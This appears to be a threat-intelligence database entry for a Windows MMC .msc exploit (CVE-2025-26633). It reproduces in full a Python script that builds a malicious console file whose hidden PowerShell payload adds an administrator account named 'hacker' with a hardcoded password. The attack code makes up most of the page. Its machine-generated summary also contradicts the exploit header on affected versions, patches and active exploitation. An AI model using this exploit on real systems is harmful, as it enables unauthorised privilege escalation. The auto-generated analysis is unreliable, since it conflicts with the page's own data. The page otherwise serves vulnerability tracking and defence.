Microsoft MMC MSC EvilTwin - Local Admin Creation
Microsoft MMC MSC EvilTwin - Local Admin Creation
AI Analysis
Technical Summary
The Microsoft MMC MSC EvilTwin exploit leverages Microsoft Management Console (MMC) MSC files to create a local administrator account on a targeted system. The exploit is delivered as a Python script and requires local access to execute. No details on affected product versions or vendor patches are available, and there is no indication of active exploitation in the wild.
Potential Impact
Successful exploitation results in the creation of a local administrator account, granting elevated privileges on the affected system. This can allow an attacker with local access to gain persistent administrative control.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until official fixes are available, restrict local access to trusted users only and monitor for unauthorized creation of local administrator accounts.
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Microsoft MMC MSC EvilTwin - Local Admin Creation # Date: 2025-11-22 # Author: Mohammed Idrees Banyamer # Author Country: Jordan # GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.microsoft.com # Software Link: N/A (built-in Windows component - mmc.exe) # Version: Windows 10 all editions, Windows 11 all editions, Windows Server 2016-2025 # Tested on: Windows 11 24H2 (unpatched), Windows 10 22H2 (unpatched) # CVE: CVE-2025-26633 # CVSS: 7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H # Category: Local # Platform: Windows # CRITICAL: This is a post-exploitation / living-off-the-land technique widely used in real attacks # Including: Zero-day at time of disclosure (March 2025), actively exploited by Water Gamayun APT # Impact: Arbitrary code execution with the privileges of the user opening the .msc file # Fix: Apply Microsoft Patch Tuesday March 2025 updates (e.g., KB5053602 and later) # Advisory: https://www.zerodayinitiative.com/advisories/ZDI-25-25-150/ # Patch: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-26633 # Target: Unpatched Windows systems (pre March 2025 patches) # CVE-2025-26633 Proof of Concept – Add Local Administrator Account # Use ONLY in authorized penetration testing or isolated research labs import os import xml.etree.ElementTree as ET # PAYLOAD: Adds local administrator account "hacker" silently PAYLOAD = ( 'powershell.exe -NoP -W Hidden -C "' '$user = \\\'hacker\\\'; ' '$pass = ConvertTo-SecureString \\\'P@ssw0rd123!\\\' -AsPlainText -Force; ' 'New-LocalUser -Name $user -Password $pass -FullName \\\'Lab User\\\' ' '-Description \\\'Research account\\\' -ErrorAction SilentlyContinue; ' 'Add-LocalGroupMember -Group \\\'Administrators\\\' -Member $user ' '-ErrorAction SilentlyContinue; ' 'Write-Host \\\'[+] User hacker:P@ssw0rd123! added to Administrators\\\'"' ) def create_evil_msc(filename="CVE-2025-26633-AddAdmin.msc"): root = ET.Element("MMC_ConsoleFile", ConsoleVersion="3.0") string_table = ET.SubElement(root, "StringTable") ET.SubElement(string_table, "String", id="1").text = "Local Users and Groups" ET.SubElement(string_table, "String", id="2").text = "Security Research Snap-in" snapins = ET.SubElement(root, "SnapIns") snapin = ET.SubElement(snapins, "SnapIn") ET.SubElement(snapin, "Name").text = "{7B8B9A1C-2D3E-4F5A-9B6C-1A2B3C4D5E6F}" ET.SubElement(snapin, "Description").text = "Custom Administration Tool" actions = ET.SubElement(snapin, "Actions") action = ET.SubElement(actions, "Action") ET.SubElement(action, "RunCommand").text = PAYLOAD ET.SubElement(action, "Name").text = "AddLocalAdmin" tree = ET.ElementTree(root) tree.write(filename, encoding="utf-16", xml_declaration=True) print(f"[+] Malicious .msc file successfully created: {filename}") def main(): msc_file = "CVE-2025-26633-AddAdmin.msc" create_evil_msc(msc_file) print("\n[+] Next step (execute inside vulnerable target or lab VM):") print(f" mmc.exe \"{os.path.abspath(msc_file)}\"\n") print("[!] Instant local admin account will be created:") print(" Username : hacker") print(" Password : P@ssw0rd123!") print(" Verify with: net localgroup administrators") if __name__ == "__main__": main()
Microsoft MMC MSC EvilTwin - Local Admin Creation
Description
Microsoft MMC MSC EvilTwin - Local Admin Creation
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The Microsoft MMC MSC EvilTwin exploit leverages Microsoft Management Console (MMC) MSC files to create a local administrator account on a targeted system. The exploit is delivered as a Python script and requires local access to execute. No details on affected product versions or vendor patches are available, and there is no indication of active exploitation in the wild.
Potential Impact
Successful exploitation results in the creation of a local administrator account, granting elevated privileges on the affected system. This can allow an attacker with local access to gain persistent administrative control.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until official fixes are available, restrict local access to trusted users only and monitor for unauthorized creation of local administrator accounts.
Technical Details
- Edb Id
- 52498
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Microsoft MMC MSC EvilTwin - Local Admin Creation
#!/usr/bin/env python3 # Exploit Title: Microsoft MMC MSC EvilTwin - Local Admin Creation # Date: 2025-11-22 # Author: Mohammed Idrees Banyamer # Author Country: Jordan # GitHub: https://github.com/mbanyamer # Vendor Homepage: https://www.microsoft.com # Software Link: N/A (built-in Windows component - mmc.exe) # Version: Windows 10 all editions, Windows 11 all editions, Windows Server 2016-2025 # Tested on: Windows 11 24H2 (unpatched), Windows 10 22H2 (unpatched) # CVE: CVE-2025-26633 # CVSS:... (2893 more characters)
Threat ID: 69d842c21cc7ad14da3f5b33
Added to database: 4/10/2026, 12:22:26 AM
Last enriched: 4/17/2026, 2:43:48 PM
Last updated: 5/25/2026, 7:04:55 AM
Views: 127
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